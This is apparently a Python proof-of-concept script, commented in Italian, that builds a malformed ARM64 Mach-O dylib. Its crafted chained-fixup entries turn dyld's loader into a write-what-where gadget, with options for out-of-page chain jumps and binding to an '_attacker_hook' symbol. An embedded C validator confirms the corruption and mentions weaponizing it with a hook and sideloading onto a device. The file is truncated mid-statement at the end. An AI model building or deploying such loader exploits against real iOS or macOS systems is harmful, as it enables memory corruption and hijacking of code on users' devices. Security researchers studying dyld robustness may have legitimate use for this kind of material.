#!/usr/bin/env python3
"""
Generatore di dylib Mach-O con chained fixups controllate.

Obiettivo: costruire una dylib che, quando caricata da dyld, esegue
una scrittura controllata via il gadget:
    *((uintptr_t*)loc) = (uintptr_t)newValue;

Struttura:
    - LC_DYLD_CHAINED_FIXUPS con entries malformate
    - bind target = indirizzo simbolo da noi controllato
    - fixup location = target di scrittura nel nostro __DATA

Layout Mach-O generato:
    [mach_header_64]
    [LC_SEGMENT_64 __TEXT]
    [LC_SEGMENT_64 __DATA]
    [LC_DYLD_CHAINED_FIXUPS]
    [LC_DYLD_EXPORTS_TRIE]
    [LC_SYMTAB]
    [padding to page boundary]
    [__TEXT,__text  - codice minimo]
    [__DATA,__data  - contiene il target di scrittura + canary]
    [chained fixups blob]
    [exports trie]
"""

import struct
import sys
import os

# ===========================================================================
# Costanti Mach-O ARM64
# ===========================================================================
MH_MAGIC_64         = 0xFEEDFACF
CPU_TYPE_ARM64      = 0x0100000C
CPU_SUBTYPE_ARM64   = 0x00000000
MH_DYLIB            = 0x6
# Per una dylib non abilitiamo PIE; usiamo solo NOUNDEFS | DYLDLINK | TWOLEVEL
MH_FLAGS            = 0x00000085

LC_SEGMENT_64           = 0x19
LC_SYMTAB               = 0x2
LC_DYSYMTAB             = 0xB
LC_ID_DYLIB             = 0xD
LC_DYLD_CHAINED_FIXUPS  = 0x80000034
LC_DYLD_EXPORTS_TRIE    = 0x80000033
LC_UUID                 = 0x1B
LC_BUILD_VERSION        = 0x32
LC_LOAD_DYLIB           = 0xC

# build_version platform values
PLATFORM_MACOS          = 1
PLATFORM_IOS            = 2

VM_PROT_NONE    = 0x0
VM_PROT_READ    = 0x1
VM_PROT_WRITE   = 0x2
VM_PROT_EXEC    = 0x4
VM_PROT_RX      = VM_PROT_READ | VM_PROT_EXEC
VM_PROT_RW      = VM_PROT_READ | VM_PROT_WRITE

PAGE_SIZE = 0x4000  # 16KB su Apple Silicon

# ===========================================================================
# Strutture chained fixups (da fixup-chains.h)
# ===========================================================================
# dyld_chained_fixups_header
CHAINED_FIXUPS_VERSION = 0
CHAINED_FIXUPS_STARTS_OFFSET = 32  # offset di dyld_chained_starts_in_image

# DYLD_CHAINED_PTR_ARM64E_USERLAND24 = 12
# DYLD_CHAINED_PTR_64_OFFSET = 6
DYLD_CHAINED_PTR_64        = 2   # format: rebase/bind a 64bit
DYLD_CHAINED_PTR_64_OFFSET = 6   # offset-based, semplice da costruire
# ARM64E (PAC) userland format
DYLD_CHAINED_PTR_ARM64E_USERLAND24 = 12

# dyld_chained_import format
DYLD_CHAINED_IMPORT        = 1

# ===========================================================================
# Helper di packing
# ===========================================================================
def p32(v): return struct.pack('<I', v & 0xFFFFFFFF)
def p64(v): return struct.pack('<Q', v & 0xFFFFFFFFFFFFFFFF)
def pstr(s, size): return s.encode() + b'\x00' * (size - len(s))

def align(n, a):
    return (n + a - 1) & ~(a - 1)

# ===========================================================================
# Costruzione del blob LC_DYLD_CHAINED_FIXUPS
#
# Layout del blob:
#   [dyld_chained_fixups_header]      32 bytes
#   [dyld_chained_starts_in_image]    variable
#   [dyld_chained_starts_in_segment]  per ogni segmento con fixups
#   [chain entries - rebase/bind]     8 bytes each
#   [dyld_chained_import entries]     4 bytes each
#   [symbol names]                    null-terminated strings
# ===========================================================================

def build_chained_fixups_blob(
    target_seg_index,       # indice segmento __DATA (1)
    target_page_index,      # pagina dentro __DATA (0)
    target_page_offset,     # offset dentro la pagina del primo elemento
    bind_ordinals,          # lista di import ordinal nella catena
    seg_count,              # numero totale di segmenti
    page_size=PAGE_SIZE,
    segment_vmaddr=0,
    pointer_format=DYLD_CHAINED_PTR_64_OFFSET,
):
    """
    Costruisce il blob delle chained fixups con UNA sola entry di bind.
    
    La entry punta a:
        __DATA[target_page_index][target_page_offset]
    
    E il valore scritto sarà l'indirizzo del simbolo bind_ordinal-esimo.
    """

    # Nota: i puntatori della catena (encoded) vivono nelle sezioni dei segmenti,
    # non dentro questo blob. Qui costruiamo solo metadati (starts/imports/symbols).

    # ----- 2. dyld_chained_starts_in_segment -----
    # struct dyld_chained_starts_in_segment {
    #     uint32_t  size;
    #     uint16_t  page_size;
    #     uint16_t  pointer_format;
    #     uint64_t  segment_offset;
    #     uint32_t  max_valid_pointer;
    #     uint16_t  page_count;
    #     uint16_t  page_start[page_count];  // offset nella pagina della prima entry
    # };
    page_count = target_page_index + 1

    # page_start: CHAIN_START_NONE (0xFFFF) per pagine senza fixups
    # target_page_index ha l'offset della nostra entry
    page_starts = []
    for i in range(page_count):
        if i == target_page_index:
            page_starts.append(target_page_offset)
        else:
            page_starts.append(0xFFFF)  # DYLD_CHAINED_PTR_START_NONE

    seg_starts_size = (
        4 +  # size
        2 +  # page_size
        2 +  # pointer_format
        8 +  # segment_offset
        4 +  # max_valid_pointer
        2 +  # page_count
        2 * page_count  # page_start array
    )
    seg_starts_size = align(seg_starts_size, 4)

    seg_starts = b''
    seg_starts += p32(seg_starts_size)
    seg_starts += struct.pack('<H', page_size)
    seg_starts += struct.pack('<H', pointer_format)
    # segment_offset = vmaddr del segmento relativo alla base dell'immagine
    seg_starts += p64(segment_vmaddr)
    seg_starts += p32(0)          # max_valid_pointer
    seg_starts += struct.pack('<H', page_count)
    for ps in page_starts:
        seg_starts += struct.pack('<H', ps)
    # align a 4
    while len(seg_starts) % 4:
        seg_starts += b'\x00'

    # ----- 3. dyld_chained_starts_in_image -----
    # struct dyld_chained_starts_in_image {
    #     uint32_t  seg_count;
    #     uint32_t  seg_info_offset[seg_count];
    # };
    # seg_info_offset[i] = 0 se il segmento non ha fixups
    # seg_info_offset[target_seg_index] = offset dentro questo struct
    #   dove inizia il dyld_chained_starts_in_segment

    image_header_size = 4 + 4 * seg_count  # seg_count + array

    seg_offsets = []
    for i in range(seg_count):
        if i == target_seg_index:
            seg_offsets.append(image_header_size)
        else:
            seg_offsets.append(0)

    image_starts = b''
    image_starts += p32(seg_count)
    for off in seg_offsets:
        image_starts += p32(off)

    # ----- 4. dyld_chained_imports -----
    lib_ordinal  = 1  # LC_LOAD_DYLIB #1
    weak_import  = 0
    chain_close = os.getenv("CHAIN_CLOSE", "0") == "1"
    second_sym = b"_attacker_hook\x00" if chain_close else b"_write_target_value2\x00"
    symbols = [b"_write_target_value\x00", second_sym]
    pool = b''
    name_offsets = []
    for s in symbols:
        name_offsets.append(len(pool))
        pool += s
    while len(pool) % 4:
        pool += b'\x00'

    imports_bytes = b''
    for name_offset in name_offsets:
        import_entry = (
            (lib_ordinal & 0xFF)        |
            ((weak_import & 0x1) << 8)  |
            ((name_offset & 0x7FFFFF) << 9)
        )
        imports_bytes += p32(import_entry)

    # ----- 5. String pool -----
    symbol_name = pool

    # ----- 6. dyld_chained_fixups_header -----
    # struct dyld_chained_fixups_header {
    #     uint32_t  fixups_version;
    #     uint32_t  starts_offset;   // offset di dyld_chained_starts_in_image
    #     uint32_t  imports_offset;  // offset array imports
    #     uint32_t  symbols_offset;  // offset string pool
    #     uint32_t  imports_count;
    #     uint32_t  imports_format;
    #     uint32_t  symbols_format;  // 0 = uncompressed
    # };
    # + 4 bytes padding = 32 bytes totali

    starts_offset  = 32  # subito dopo l'header
    imports_offset = starts_offset + len(image_starts) + len(seg_starts)
    symbols_offset = imports_offset + len(imports_bytes)

    header = b''
    header += p32(0)               # fixups_version
    header += p32(starts_offset)
    header += p32(imports_offset)
    header += p32(symbols_offset)
    header += p32(len(symbols))    # imports_count
    header += p32(DYLD_CHAINED_IMPORT)  # imports_format
    header += p32(0)               # symbols_format (uncompressed)
    header += p32(0)               # padding

    assert len(header) == 32

    blob = (
        header +
        image_starts +
        seg_starts +
        imports_bytes +
        symbol_name
    )

    return blob


# ===========================================================================
# Costruzione exports trie minimale
# ===========================================================================
def build_exports_trie(symbol_name="_malformed_init", vmaddr_offset=0):
    """
    Trie minimale che esporta un solo simbolo.
    Necessario perché dyld si aspetta un exports trie valido.
    """
    # Formato: sequenza di nodi ULEB128
    # Nodo terminale: [terminal_size, flags, vmoffset]
    # Nodo intermedio: [0, child_count, edge_string, child_offset, ...]

    def uleb128(v):
        out = []
        while True:
            b = v & 0x7F
            v >>= 7
            if v:
                out.append(b | 0x80)
            else:
                out.append(b)
                break
        return bytes(out)

    # Nodo root: nessun terminal, 1 figlio
    # Edge = simbolo completo (senza _)
    edge = symbol_name.lstrip('_').encode() + b'\x00'

    # Nodo foglia: terminal con flags=0, vmoffset
    leaf_flags = 0
    leaf = uleb128(0)  # terminal_size placeholder
    leaf_content = uleb128(leaf_flags) + uleb128(vmaddr_offset)
    leaf = uleb128(len(leaf_content)) + leaf_content

    # Calcola offset del figlio
    # Root: uleb(0) + uleb(1) + edge + uleb(child_offset)
    # child_offset = len(root_node)
    root_prefix = uleb128(0) + uleb128(1) + edge
    child_offset = len(root_prefix) + len(uleb128(len(root_prefix) + 1))
    # Ricalcola con offset corretto
    child_offset = len(root_prefix) + len(uleb128(0))  # approssimazione

    root = uleb128(0) + uleb128(1) + edge + uleb128(len(root_prefix) + 1)
    trie = root + leaf

    return trie


# ===========================================================================
# Costruzione Mach-O completo
# ===========================================================================
def build_malformed_dylib(output_path, target_offset_in_data=0x10):
    """
    Costruisce una dylib Mach-O con:
    - __TEXT,__text: stub minimale
    - __DATA,__data: [canary_before][write_target][canary_after]
    - LC_DYLD_CHAINED_FIXUPS: fixup che sovrascrive write_target
    
    target_offset_in_data: offset dentro __DATA dove dyld scriverà
    """

    # Layout indirizzi virtuali
    TEXT_VMADDR  = 0x0
    # DATA_VMADDR sarà impostato dopo aver calcolato la dimensione effettiva di __TEXT

    # Contenuto __DATA
    # [0x00] canary prima  (8 bytes) = 0xAAAAAAAAAAAAAAAA
    # [0x08] dummy         (8 bytes) = 0x0
    # [0x10] write_target  (8 bytes) = 0xDEADDEADDEADDEAD ← dyld scriverà qui
    # [0x18] canary dopo   (8 bytes) = 0xBBBBBBBBBBBBBBBB
    CANARY_BEFORE = 0xAAAAAAAAAAAAAAAA
    WRITE_TARGET  = 0xDEADDEADDEADDEAD
    CANARY_AFTER  = 0xBBBBBBBBBBBBBBBB

    # Codifica della chain entry da collocare a __DATA+target_offset_in_data
    ordinal  = 0 & 0xFFFFFF  # import 0 → _write_target_value (sovrascritto da bind_ordinal=0 più avanti)
    addend   = 0
    reserved = 0
    next_off = 0  # catena di un solo elemento
    bind_bit = 1
    # Encoded pointer placeholder; verrà scelto in base al formato
    chain_entry = 0

    # Contenuto __TEXT (stub minimale ARM64: ret)
    # ret = 0xD65F03C0
    text_content = struct.pack('<I', 0xD65F03C0)  # ret
    text_content = text_content.ljust(PAGE_SIZE, b'\x00')

    # Costruiremo fixups_blob (e data_content) dopo aver calcolato gli offset e DATA_VMADDR
    exports_trie = build_exports_trie("_malformed_init", vmaddr_offset=0)

    # ----- Calcolo offset nel file -----
    # Header + load commands iniziano a offset 0
    # Stimiamo la dimensione dell'header per posizionare i dati

    # Load commands:
    # LC_SEGMENT_64 __TEXT      = 72 + n_sections*80
    # LC_SEGMENT_64 __DATA      = 72 + n_sections*80
    # LC_ID_DYLIB               = 24 + len(name_padded)
    # LC_DYLD_CHAINED_FIXUPS    = 16
    # LC_DYLD_EXPORTS_TRIE      = 16
    # LC_SYMTAB                 = 24

    dylib_name = b"@executable_path/Frameworks/libmalformed.dylib\x00"
    while len(dylib_name) % 8:
        dylib_name += b'\x00'

    # Sezioni dentro i segmenti
    # __TEXT: 1 sezione (__text)
    # __DATA: 1 sezione (__data)

    def lc_segment_size(n_sections):
        return 72 + n_sections * 80

    lc_text_size     = lc_segment_size(1)
    lc_data_size     = lc_segment_size(2)  # __data + __poc_ptrs
    lc_idlib_size    = 24 + len(dylib_name)
    lc_build_size    = 24  # build_version_command without tools
    lc_linkedit_size = lc_segment_size(0)
    lc_uuid_size     = 24  # uuid_command
    # LC_LOAD_DYLIB (dependency on libexports)
    dep_name = b"@executable_path/libexports.dylib\x00"
    while len(dep_name) % 8:
        dep_name += b'\x00'
    lc_loaddylib_size = 24 + len(dep_name)
    lc_fixup_size  = 16
    lc_export_size = 16
    lc_symtab_size = 24

    total_lc_size = (
        lc_text_size +
        lc_data_size +
        lc_linkedit_size +
        lc_idlib_size +
        lc_loaddylib_size +
        lc_fixup_size +
        lc_export_size +
        lc_symtab_size +
        lc_build_size +
        lc_uuid_size
    )

    header_size = 32  # mach_header_64
    headers_end = header_size + total_lc_size

    # Offsets file per sezioni allineate a pagina
    text_file_offset = align(headers_end, PAGE_SIZE)
    data_file_offset = text_file_offset + PAGE_SIZE
    # __TEXT segmento deve partire a fileoff 0 includendo header+LC e __text
    TEXT_SEG_FILEOFF  = 0
    TEXT_SEG_FILESIZE = data_file_offset  # da inizio file fino a inizio __DATA
    TEXT_SEG_VMSIZE   = TEXT_SEG_FILESIZE
    DATA_VMADDR       = TEXT_SEG_VMSIZE
    # __LINKEDIT inizia dopo __DATA (1 pagina)
    linkedit_file_offset = data_file_offset + PAGE_SIZE
    fixup_file_offset = linkedit_file_offset

    # ----- Build chained fixups blob (ora che DATA_VMADDR è noto) -----
    # Supporto sperimentale ARM64E: per ora usiamo ancora il formato 64_OFFSET
    # per stabilità; quando ARM64E=1 è impostato, lasciamo un messaggio informativo.
    use_arm64e = os.environ.get('ARM64E', '0') == '1'
    malform_pagein = os.environ.get('MALFORM_PAGEIN', '0') == '1'
    chain_close = os.getenv("CHAIN_CLOSE", "0") == "1"
    if use_arm64e:
        pointer_format = DYLD_CHAINED_PTR_ARM64E_USERLAND24
        # Entry0 auth_bind24: ordinal=0, next=2 (to +0x20)
        ord24   = 0
        zero8   = 0
        diversity= 0
        addrDiv = 0
        key     = 0
        next11  = 2 if not malform_pagein else 0x800  # salto fuori pagina se malform
        bind1   = 1
        auth1   = 1
        chain_entry = (
            (ord24 & 0xFFFFFF)          |
            ((zero8    & 0xFF)   << 24) |
            ((diversity& 0xFFFF) << 32) |
            ((addrDiv  & 0x1)    << 48) |
            ((key      & 0x3)    << 49) |
            ((next11   & 0x7FF)  << 51) |
            ((bind1    & 0x1)    << 63) |
            ((auth1    & 0x1)    << 62)
        )
        # Entry1 auth_bind24: ordinal=1, next=0
        ord24_1 = 1
        next11_1= 0
        chain_entry2 = (
            (ord24_1 & 0xFFFFFF)          |
            ((zero8     & 0xFF)   << 24)  |
            ((diversity & 0xFFFF) << 32)  |
            ((addrDiv   & 0x1)    << 48)  |
            ((key       & 0x3)    << 49)  |
            ((next11_1  & 0x7FF)  << 51)  |
            ((bind1     & 0x1)    << 63)  |
            ((auth1     & 0x1)    << 62)
        )
    else:
        pointer_format = DYLD_CHAINED_PTR_64_OFFSET
        chain_entry = (
            (0        & 0xFFFFFF)       |
            ((addend  & 0xFF)    << 24) |
            ((reserved & 0x7FFFF) << 32)|
            (((2 if not malform_pagein else 0x800) & 0xFFF)  << 51) |
            (bind_bit            << 63)
        )
        chain_entry2 = (
            (1        & 0xFFFFFF)       |
            ((addend  & 0xFF)    << 24) |
            ((reserved & 0x7FFFF) << 32)|
            ((0        & 0xFFF)  << 51) |
            (bind_bit            << 63)
        )
    targeted_pagein = malform_pagein and (os.environ.get('MALFORM_TARGET_OFFSET') is not None)
    if targeted_pagein:
        page_start_off = target_offset_in_data & (PAGE_SIZE - 1)
        seg_vm_for_starts = DATA_VMADDR
        # Con CHAIN_CLOSE usa next=4 (stride 4 byte per PTR_64_OFFSET → +0x10+0x10=+0x20)
        # altrimenti next=0 (entry singola)
        next_targeted = 4 if chain_close else 0
        if use_arm64e:
            next11 = next_targeted
            chain_entry = (
                (ord24 & 0xFFFFFF)          |
                ((zero8    & 0xFF)   << 24) |
                ((diversity& 0xFFFF) << 32) |
                ((addrDiv  & 0x1)    << 48) |
                ((key      & 0x3)    << 49) |
                ((next11   & 0x7FF)  << 51) |
                ((bind1    & 0x1)    << 63) |
                ((auth1    & 0x1)    << 62)
            )
        else:
            chain_entry = (
                (0        & 0xFFFFFF)       |
                ((addend  & 0xFF)    << 24) |
                ((reserved & 0x7FFFF) << 32)|
                ((next_targeted & 0xFFF) << 51) |
                (bind_bit            << 63)
            )
    else:
        page_start_off = (PAGE_SIZE - 8) if malform_pagein else target_offset_in_data
        seg_vm_for_starts = DATA_VMADDR + (0x100000 if malform_pagein else 0)
    fixups_blob = build_chained_fixups_blob(
        target_seg_index=1,
        target_page_index=0,
        target_page_offset=page_start_off,
        bind_ordinals=[0,1],
        seg_count=3,
        page_size=PAGE_SIZE,
        segment_vmaddr=seg_vm_for_starts,
        pointer_format=pointer_format,
    )

    # Ora che chain_entry è deciso, costruiamo __DATA
    if targeted_pagein:
        page = bytearray(PAGE_SIZE)
        page[0x00:0x08] = struct.pack('<Q', CANARY_BEFORE)
        page[0x08:0x10] = struct.pack('<Q', 0)
        page[0x18:0x20] = struct.pack('<Q', CANARY_AFTER)
        off = page_start_off
        page[off:off+8] = struct.pack('<Q', chain_entry)
        if chain_close:
            # Secondo entry a +0x20: ordinal 1 → _attacker_hook, next=0
            page[0x20:0x28] = struct.pack('<Q', chain_entry2)
        data_content = bytes(page)
    elif not malform_pagein:
        data_content = (
            struct.pack('<Q', CANARY_BEFORE) +
            struct.pack('<Q', 0x0)           +
            struct.pack('<Q', chain_entry)   +  # +0x10 primo encoded pointer
            struct.pack('<Q', CANARY_AFTER)  +  # +0x18 canary_after
            struct.pack('<Q', chain_entry2)     # +0x20 secondo encoded pointer
        )
        data_content = data_content.ljust(PAGE_SIZE, b'\x00')
    else:
        # Costruisci pagina e piazza encoded pointer a fine pagina
        page = bytearray(PAGE_SIZE)
        page[0x00:0x08] = struct.pack('<Q', CANARY_BEFORE)
        page[0x08:0x10] = struct.pack('<Q', 0)
        page[0x18:0x20] = struct.pack('<Q', CANARY_AFTER)
        # primo puntatore a fine pagina
        page[-8:] = struct.pack('<Q', chain_entry)
        # secondo puntatore subito prima (opzionale)
        # page[-16:-8] = struct.pack('<Q', chain_entry2)
        data_content = bytes(page)

    export_file_offset = fixup_file_offset + align(len(fixups_blob), 8)
    linkedit_filesize = align(len(fixups_blob), 8) + align(len(exports_trie), 8)
    file_size = linkedit_file_offset + linkedit_filesize

    # ----- Costruzione Load Commands -----

    def make_section64(sectname, segname, addr, size, offset, align_val=3, flags=0):
        """
        struct section_64 (80 bytes):
            char     sectname[16]
            char     segname[16]
            uint64_t addr
            uint64_t size
            uint32_t offset
            uint32_t align
            uint32_t reloff
            uint32_t nreloc
            uint32_t flags
            uint32_t reserved1
            uint32_t reserved2
            uint32_t reserved3
        """
        s = b''
        s += sectname.encode().ljust(16, b'\x00')
        s += segname.encode().ljust(16, b'\x00')
        s += p64(addr)
        s += p64(size)
        s += p32(offset)
        s += p32(align_val)
        s += p32(0)   # reloff
        s += p32(0)   # nreloc
        s += p32(flags)   # flags
        s += p32(0) * 3
        return s

    def make_segment64(segname, vmaddr, vmsize, fileoff, filesize,
                       maxprot, initprot, sections=b'', nsects=0):
        """
        struct segment_command_64 (72 bytes + sections):
        """
        cmdsize = 72 + len(sections)
        s = b''
        s += p32(LC_SEGMENT_64)
        s += p32(cmdsize)
        s += segname.encode().ljust(16, b'\x00')
        s += p64(vmaddr)
        s += p64(vmsize)
        s += p64(fileoff)
        s += p64(filesize)
        s += p32(maxprot)
        s += p32(initprot)
        s += p32(nsects)
        s += p32(0)  # flags
        s += sections
        return s

    # __TEXT segment + __text section
    text_section = make_section64(
        "__text", "__TEXT",
        addr=TEXT_VMADDR + text_file_offset,  # dopo header+LC
        size=4,  # solo ret
        offset=text_file_offset,
    )
    lc_text = make_segment64(
        "__TEXT",
        vmaddr=TEXT_VMADDR,
        vmsize=TEXT_SEG_VMSIZE,
        fileoff=TEXT_SEG_FILEOFF,
        filesize=TEXT_SEG_FILESIZE,
        maxprot=VM_PROT_RX,
        initprot=VM_PROT_RX,
        sections=text_section,
        nsects=1,
    )

    # __DATA segment + sections (__data + __poc_ptrs)
    data_section = make_section64(
        "__data", "__DATA",
        addr=DATA_VMADDR,
        size=len(data_content),
        offset=data_file_offset,
        flags=0,
    )
    # __poc_ptrs: punta ai due slot a +0x10 e +0x20; tipo non-lazy symbol pointers (0x6)
    S_NON_LAZY_SYMBOL_POINTERS = 0x6
    ptrs_section = make_section64(
        "__poc_ptrs", "__DATA",
        addr=DATA_VMADDR + 0x10,
        size=0x10,
        offset=data_file_offset + 0x10,
        flags=S_NON_LAZY_SYMBOL_POINTERS,
    )
    data_sections = data_section + ptrs_section
    lc_data = make_segment64(
        "__DATA",
        vmaddr=DATA_VMADDR,
        vmsize=PAGE_SIZE,
        fileoff=data_file_offset,
        filesize=PAGE_SIZE,
        maxprot=VM_PROT_RW,
        initprot=VM_PROT_RW,
        sections=data_sections,
        nsects=2,
    )

    # __LINKEDIT segment (senza sezioni)
    lc_linkedit = make_segment64(
        "__LINKEDIT",
        vmaddr=DATA_VMADDR + PAGE_SIZE,
        vmsize=align(linkedit_filesize, PAGE_SIZE),
        fileoff=linkedit_file_offset,
        filesize=linkedit_filesize,
        maxprot=VM_PROT_READ,
        initprot=VM_PROT_READ,
        sections=b'',
        nsects=0,
    )

    # LC_ID_DYLIB
    lc_idlib = b''
    lc_idlib += p32(LC_ID_DYLIB)
    lc_idlib += p32(lc_idlib_size)
    lc_idlib += p32(24)    # name offset (subito dopo l'header del LC)
    lc_idlib += p32(0)     # timestamp
    lc_idlib += p32(0)     # current_version
    lc_idlib += p32(0)     # compatibility_version
    lc_idlib += dylib_name

    # LC_DYLD_CHAINED_FIXUPS
    lc_fixup = b''
    lc_fixup += p32(LC_DYLD_CHAINED_FIXUPS)
    lc_fixup += p32(16)
    lc_fixup += p32(fixup_file_offset)
    lc_fixup += p32(len(fixups_blob))

    # LC_DYLD_EXPORTS_TRIE
    lc_export = b''
    lc_export += p32(LC_DYLD_EXPORTS_TRIE)
    lc_export += p32(16)
    lc_export += p32(export_file_offset)
    lc_export += p32(len(exports_trie))

    # LC_LOAD_DYLIB (dipendenza: libexports)
    lc_loaddylib = b''
    lc_loaddylib += p32(LC_LOAD_DYLIB)
    lc_loaddylib += p32(lc_loaddylib_size)
    lc_loaddylib += p32(24)  # name offset
    lc_loaddylib += p32(0)   # timestamp
    lc_loaddylib += p32(0)   # current_version
    lc_loaddylib += p32(0)   # compatibility_version
    lc_loaddylib += dep_name

    # LC_SYMTAB (vuota ma necessaria)
    lc_symtab = b''
    lc_symtab += p32(LC_SYMTAB)
    lc_symtab += p32(24)
    lc_symtab += p32(0)  # symoff
    lc_symtab += p32(0)  # nsyms
    lc_symtab += p32(0)  # stroff
    lc_symtab += p32(0)  # strsize

    # LC_BUILD_VERSION (platform iOS, minos=16.0, sdk=16.0)
    def enc_ver(major, minor, patch):
        return ((major & 0xFFFF) << 16) | ((minor & 0xFF) << 8) | (patch & 0xFF)
    lc_build = b''
    lc_build += p32(LC_BUILD_VERSION)
    lc_build += p32(24)
    lc_build += p32(PLATFORM_IOS)
    lc_build += p32(enc_ver(16, 0, 0))  # minos
    lc_build += p32(enc_ver(16, 0, 0))  # sdk
    lc_build += p32(0)  # ntools

    # LC_UUID (uuid fissa per determinismo)
    lc_uuid = b''
    lc_uuid += p32(LC_UUID)
    lc_uuid += p32(24)
    lc_uuid += bytes.fromhex('1234567890AB4CDE8F0123456789ABCDEF01')[:16]

    # ----- Mach-O header -----
    all_lc = (
        lc_text + lc_data + lc_linkedit +
        lc_idlib + lc_loaddylib +
        lc_fixup + lc_export + lc_symtab + lc_build + lc_uuid
    )

    mach_header = b''
    mach_header += p32(MH_MAGIC_64)
    mach_header += p32(CPU_TYPE_ARM64)
    mach_header += p32(CPU_SUBTYPE_ARM64)
    mach_header += p32(MH_DYLIB)
    mach_header += p32(len(all_lc))    # ncmds placeholder
    mach_header += p32(total_lc_size)  # sizeofcmds
    mach_header += p32(MH_FLAGS)
    mach_header += p32(0)              # reserved

    # ncmds corretto
    ncmds = 10  # text, data, linkedit, idlib, load_dylib, fixup, export, symtab, build_version, uuid
    mach_header = (
        p32(MH_MAGIC_64) +
        p32(CPU_TYPE_ARM64) +
        p32(CPU_SUBTYPE_ARM64) +
        p32(MH_DYLIB) +
        p32(ncmds) +
        p32(total_lc_size) +
        p32(MH_FLAGS) +
        p32(0)
    )

    # ----- Assemblaggio finale -----
    output = bytearray(file_size)

    # Header e load commands
    hdr_bytes = mach_header + all_lc
    output[0:len(hdr_bytes)] = hdr_bytes

    # Segmenti
    output[text_file_offset:text_file_offset + PAGE_SIZE] = text_content
    output[data_file_offset:data_file_offset + PAGE_SIZE] = data_content

    # Blobs
    output[fixup_file_offset:fixup_file_offset + len(fixups_blob)] = fixups_blob
    output[export_file_offset:export_file_offset + len(exports_trie)] = exports_trie

    with open(output_path, 'wb') as f:
        f.write(bytes(output))

    # ----- Report -----
    print(f"[+] Dylib generata: {output_path}")
    print(f"    File size:        0x{file_size:X} ({file_size} bytes)")
    print(f"    text_file_offset: 0x{text_file_offset:X}")
    print(f"    data_file_offset: 0x{data_file_offset:X}")
    print(f"    fixup_file_offset:0x{fixup_file_offset:X}")
    print(f"    export_file_offset:0x{export_file_offset:X}")
    print()
    print(f"    __DATA layout (vmaddr 0x{DATA_VMADDR:X}):")
    print(f"      +0x00: canary_before = 0x{CANARY_BEFORE:016X}")
    print(f"      +0x08: dummy         = 0x0000000000000000")
    print(f"      +0x10: encoded_ptr   = 0x{chain_entry:016X}  (bind=1, ord=0, add=0, next=0)")
    print(f"      +0x18: canary_after  = 0x{CANARY_AFTER:016X}")
    print()
    print(f"    Fixup chain entry:")
    print(f"      target seg:    1 (__DATA)")
    print(f"      target page:   0")
    print(f"      target offset: 0x{target_offset_in_data:X}")
    print(f"      bind ordinal:  1 → _write_target_value (LC_LOAD_DYLIB #1)")
    print()
    print(f"    Quando dyld carica questa dylib:")
    print(f"      loc = slide + 0x{DATA_VMADDR + target_offset_in_data:X}")
    print(f"      *loc = indirizzo di _write_target_value (da libexports)")
    print()
    print(f"    Per verificare la corruzione:")
    print(f"      1. Leggi __DATA+0x00 → deve essere 0x{CANARY_BEFORE:X}")
    print(f"      2. Leggi __DATA+0x10 → deve essere CAMBIATO rispetto all'encoded pointer")
    print(f"      3. Leggi __DATA+0x18 → deve essere 0x{CANARY_AFTER:X}")

    return {
        'file_size': file_size,
        'data_vmaddr': DATA_VMADDR,
        'write_target_vmoffset': target_offset_in_data,
        'fixup_file_offset': fixup_file_offset,
        'fixups_blob_size': len(fixups_blob),
    }


# ===========================================================================
# Script di validazione (da eseguire su macOS/iOS dopo la compilazione)
# ===========================================================================
VALIDATOR_C = '''
/*
 * validator.c
 * Carica la dylib malformata e verifica che dyld abbia eseguito
 * la scrittura controllata nel __DATA.
 *
 * Compila: clang -o validator validator.c -ldl
 */
#include <stdio.h>
#include <stdint.h>
#include <dlfcn.h>
#include <string.h>

// Questo simbolo viene esportato da libexports e viene scritto
// in __DATA della dylib malformata da dyld durante il fixup.
// In una versione weaponizzata, questo sarebbe l'indirizzo
// di una funzione hook.
void write_target_value(void) {
    printf("[hook] write_target_value chiamata!\\n");
}

// Canary values attesi
#define CANARY_BEFORE 0xAAAAAAAAAAAAAAAAULL
#define CANARY_AFTER  0xBBBBBBBBBBBBBBBBULL

int main(void) {
    printf("[*] Caricamento libmalformed.dylib...\\n");

    void* h = dlopen("./libmalformed.dylib", RTLD_NOW);
    if (!h) {
        printf("[!] dlopen fallito: %s\\n", dlerror());
        printf("    Questo e\' atteso se la dylib non e\' firmata.\\n");
        printf("    Su device usa sideloadly o inietta con altro metodo.\\n");
        return 1;
    }

    printf("[+] dlopen completato\\n");

    // Trova l'indirizzo del __DATA della dylib
    // In una versione reale useresti dladdr() o mapperesti il Mach-O
    // Per ora usiamo un simbolo sentinella

    // Cerca il simbolo esportato dalla dylib malformata
    void* init_fn = dlsym(h, "malformed_init");
    if (!init_fn) {
        printf("[!] Simbolo malformed_init non trovato\\n");
    } else {
        printf("[+] malformed_init @ %p\\n", init_fn);
        // Il __DATA e\' tipicamente a PAGE_SIZE dalla base del __TEXT
        // Leggi i canary per verificare che la scrittura sia avvenuta
        uint8_t* text_base = (uint8_t*)init_fn;
        // Allinea al PAGE_SIZE per trovare __TEXT base
        uintptr_t page_mask = ~(uintptr_t)(0x4000 - 1);
        uint64_t* data_base = (uint64_t*)((uintptr_t)text_base & page_mask);
        data_base = (uint64_t*)((uintptr_t)data_base + 0x4000);

        printf("\\n[*] Analisi __DATA @ %p:\\n", data_base);
        printf("    +0x00 canary_before: 0x%016llX  (atteso: 0x%016llX) %s\\n",
               data_base[0], CANARY_BEFORE,
               data_base[0] == CANARY_BEFORE ? "OK" : "CORROTTO!");
        printf("    +0x08 dummy:         0x%016llX\\n", data_base[1]);
        printf("    +0x10 write_target:  0x%016llX\\n", data_base[2]);
        printf("    +0x18 canary_after:  0x%016llX  (atteso: 0x%016llX) %s\\n",
               data_base[3], CANARY_AFTER,
               data_base[3] == CANARY_AFTER ? "OK" : "CORROTTO!");

        printf("\\n[+] Atteso: dyld sostituisce l'encoded pointer con l'indirizzo del simbolo.\\n");
        printf("    Indirizzo write_target_value (risolto flat): %p\\n", (void*)write_target_value);
        if (data_base[2] == (uint64_t)(uintptr_t)write_target_value) {
            printf("[+] CONFERMATO: il valore corrisponde all'indirizzo del simbolo!\\n");
            printf("    Il gadget write-what-where e' funzionante.\\n");
        } else {
            printf("[!] Valore inatteso: 0x%016llX (dyld non ha scritto o simbolo non risolto)\\n", data_base[2]);
        }
    }

    dlclose(h);
    return 0;
}
'''

if __name__ == '__main__':
    out = sys.argv[1] if len(sys.argv) > 1 else 'libmalformed.dylib'
    # Consenti override del target offset via env (es. MALFORM_TARGET_OFFSET=0x20)
    env_off = os.environ.get('MALFORM_TARGET_OFFSET')
    try:
